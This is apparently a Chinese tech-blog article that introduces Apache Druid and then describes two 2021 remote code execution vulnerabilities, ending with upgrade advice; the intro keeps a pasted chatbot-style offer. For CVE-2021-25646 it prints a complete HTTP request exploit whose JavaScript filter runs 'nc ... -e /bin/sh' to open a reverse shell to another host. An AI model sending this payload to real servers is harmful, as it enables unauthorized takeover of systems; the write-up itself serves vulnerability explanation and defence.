网络安全:Apache Druid 安全漏洞

Apache Druid 是一款专为实时分析高并发查询设计的开源分布式数据存储系统,核心定位是解决"海量数据下的低延迟查询"问题。

你关注 Druid 很有眼光,它在实时数据看板、用户行为分析、监控告警等场景中表现突出,是大数据生态里重要的 OLAP(联机分析处理)工具。

Druid 的核心特性

  1. 混合数据摄入:同时支持实时流数据(如 Kafka)和批量数据(如 HDFS、S3)的导入,数据写入后可立即被查询。
  2. 亚秒级查询响应:通过预聚合(Rollup)、列式存储和分区索引等优化,即使面对 PB 级数据,复杂聚合查询也能在毫秒到秒级返回结果。
  3. 高可靠性与扩展性:采用分布式架构,支持水平扩展,单个集群可轻松处理每秒数十万条数据的写入和数千次查询请求。
  4. 原生 SQL 支持:兼容标准 SQL,降低使用门槛,同时也支持 JSON 格式的查询语言,适配不同技术栈需求。

Druid 的典型应用场景

  • 实时业务监控:如电商平台的实时成交看板、APP 的实时活跃用户统计。
  • 用户行为分析:分析用户在产品内的点击、浏览、购买等行为,支撑精细化运营。
  • 日志与指标分析:处理服务器、应用程序的日志数据,或监控系统的 metrics 指标,快速定位问题。
  • 广告与营销分析:实时统计广告曝光、点击、转化数据,优化投放策略。

Druid 与同类工具的关键区别

为了更清晰地理解其定位,以下是它与两种常见工具的对比:

特性 Apache Druid Apache Spark SQL ClickHouse
核心定位 实时 OLAP,低延迟查询 通用计算引擎,支持批处理与流处理 列存 OLAP,高性能批处理查询
查询延迟 亚秒级 - 秒级 秒级 - 分钟级 毫秒级 - 秒级
预聚合能力 原生支持(Rollup) 需手动实现 支持(Aggregation MergeTree)
适用场景 实时看板、高并发查询 复杂 ETL、批量分析 大规模批处理分析、日志分析

要不要我帮你整理一份 Apache Druid 快速部署指南?包含单机版和分布式集群的基础配置步骤,方便你快速上手体验它的查询性能。


Apache Druid 远程代码执行漏洞

Apache Druid远程代码执行漏洞是指在特定版本的Druid中,攻击者可以通过构造恶意请求,使Druid执行任意代码,从而控制服务器。以下是对该漏洞的详细介绍:

  • CVE-2021-25646

    • 漏洞发现:2021年1月17号,阿里云安全@Litch1向Apache官方报告了该漏洞,29号Apache Druid官方发布了漏洞补丁,分配CVE编号为CVE-2021-25646。

    • 影响版本:Apache Druid 0.20.0及以前的版本。

    • 漏洞原理:Apache Druid提供了JavaScript引擎用来扩展功能,该功能默认是禁用的。但在Druid 0.20.0及以前版本中,攻击者可以构造包含恶意JavaScript代码的POST请求,发送至Druid服务端的/druid/indexer/v1/sampler接口,绕过JavaScript功能的配置检查,使内置引擎解析恶意JavaScript代码,调用java.lang.Runtime.getRuntime().exec()方法执行恶意系统命令,实现远程代码执行。

    • 漏洞复现:攻击者可以构造类似如下的请求包,通过发送该请求包到目标Druid服务器,即可执行其中的JavaScript代码,实现反弹shell等恶意操作。

      POST /druid/indexer/v1/sampler HTTP/1.1
      Host: 192.168.10.1:8888
      Content-Type: application/json
      Content-Length: 1005
      {
      "type": "index",
      "spec": {
      "ioConfig": {
      "type": "index",
      "inputSource": {
      "type": "inline",
      "data": "{"isRobot":true,"channel":"#x","timestamp":"2021-2-1T14:12:24.050Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"
      },
      "inputFormat": {
      "type": "json",
      "keepNullColumns": true
      }
      },
      "dataSchema": {
      "dataSource": "sample",
      "timestampSpec": {
      "column": "timestamp",
      "format": "iso"
      },
      "dimensionsSpec": {},
      "transformSpec": {
      "transforms": (),
      "filter": {
      "type": "javascript",
      "dimension": "added",
      "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.10.130 2333 -e /bin/sh')}",
      "": {
      "enabled": true
      }
      }
      }
      },
      "type": "index",
      "tuningConfig": {
      "type": "index"
      }
      },
      "samplerConfig": {
      "numRows": 500,
      "timeoutMs": 15000
      }
      }

  • CVE-2021-26919

    • 漏洞发现:2021年3月29日,Apache官方发布安全公告,公开了该漏洞,其CVE编号为CVE-2021-26919。
    • 影响版本:Apache Druid 0.20.1及以前的版本。
    • 漏洞原理:Druid使用JDBC从其它数据库读取数据,此功能是为了让受信任的用户通过适当的权限来设置查找或提交提取任务,但由于Apache Druid默认情况下缺乏授权认证,攻击者可通过构造恶意请求执行任意代码,从而控制服务器。

为防范此类漏洞,建议用户及时将Apache Druid升级到最新的安全版本,同时限制非信任设备对Druid服务的访问。

相关推荐
网安INF12 小时前
入侵检测系统(IDS)解析
网络·网络协议·安全·网络安全·ids
采云 AI13 小时前
小程序订单接单超时时间功能解释
服务器·小程序·apache
网安INF13 小时前
典型网络攻击分析:ARP欺骗与TCP劫持
网络·网络协议·tcp/ip·安全·网络安全
晨欣14 小时前
后 Sidecar 时代:深度解析 eBPF 与 Sidecar 模式的架构之争(Gemini 3 Pro Preview 回答)
网络安全·云原生·架构·ebpf
白帽子凯哥哥15 小时前
Misc题目中图片隐写和流量分析的详细工具使用技巧
linux·运维·web安全·网络安全·docker·渗透测试
saulgoodman-q16 小时前
Pwncollege V8 Exploitation (下) 完结散花
网络安全·pwn·ctf
梧六柒16 小时前
[HUBUCTF 2022 新生赛]messy_traffic WP
网络安全
梧六柒16 小时前
[闽盾杯 2021]日志分析 WP
网络安全
Neolnfra16 小时前
当“同时发生”成为攻击武器
web安全·网络安全·并发·高并发产生的漏洞
网安INF17 小时前
防火墙的分类与部署详解
服务器·安全·网络安全·防火墙